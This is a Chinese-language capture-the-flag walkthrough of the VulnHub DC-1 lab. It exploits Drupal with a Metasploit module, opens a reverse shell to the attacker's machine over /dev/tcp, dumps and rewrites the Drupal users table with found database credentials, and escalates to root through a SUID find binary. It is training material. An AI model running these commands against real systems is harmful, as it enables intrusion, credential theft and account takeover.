DC系列第一篇

终于闲下来了,搞一搞

资源地址:https://download.vulnhub.com/dc/DC-1.zip

本机:192.168.3.15

靶机:192.168.3.16

1. 扫描网段发现主机

nmap 192.168.3.0/24

image-20220102201643698

2. 信息收集

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成,在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。

首页面

image-20220102201715831

版本相关

image-20220102213340941

3.渗透

3.1 目录扫描

image-20220102203245812

3.2 msf

search drupal
use exploit/multi/http/drupal_drupageddon #

image-20220102203746287

执行shell拿到flag1,可知我们需要找配置文件

image-20220102204210190

写一句话后链接一下,找到数据库密码和flag2,并拿到提示“爆破和目录遍历并不是唯一拿到权限的方法”

image-20220102205011742

反弹shell执行sql,并不能进行破解

/bin/bash -i >& /dev/tcp/192.168.3.15/4567 0>&1
mysql -udbuser -pR0ck3t -e "show databases;"
mysql -udbuser -pR0ck3t -e "use drupaldb;select  * from users;"

image-20220102205313820

image-20220102210756541

尝试修改密码

参考:https://www.hankcs.com/program/drupal/reset-drupal-password.html

由于密文采用sha-512(不确定是不是)所以只需要更改密码为password对应的密文即可

mysql -udbuser -pR0ck3t -e 'use drupaldb;select  * from users;update users set pass="$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4" where name="admin";'

使用admin/password登陆,得到flag3,提示要查看

image-20220102212656725

查看shadow和passwd,发现flag4,发现flag4用户有权限且信息存在/home/flag4

image-20220102213654064

拿到flag4,发现提示“你可以用同样的手法获得root下的flag吗”

image-20220102213909473

3.3 提权部分

SUID:Set User ID 是一种权限类型,允许用户使用指定用户的权限执行文件。SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件

已知的可用来提权的linux可行性的文件列表:nmap、vim、find、bash、more、less、nano、cp

#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

尝试第一个发现find

find / -perm -u=s -type f 2>/dev/null

image-20220102214349713

ls -l /usr/bin/find

image-20220102214620132

find h3 -exec "/bin/sh" \; #使用find提权
cat /root/thefinalflag.txt

image-20220102214846546

补充

在web提权到admin用户时除了使用sql的update改密码的方法可以使用目录下的sh文件进行获取

php ./scripts/password-hash.sh 12345

image-20220102215427332

原文地址:https://www.cnblogs.com/h3zh1/p/15758552.html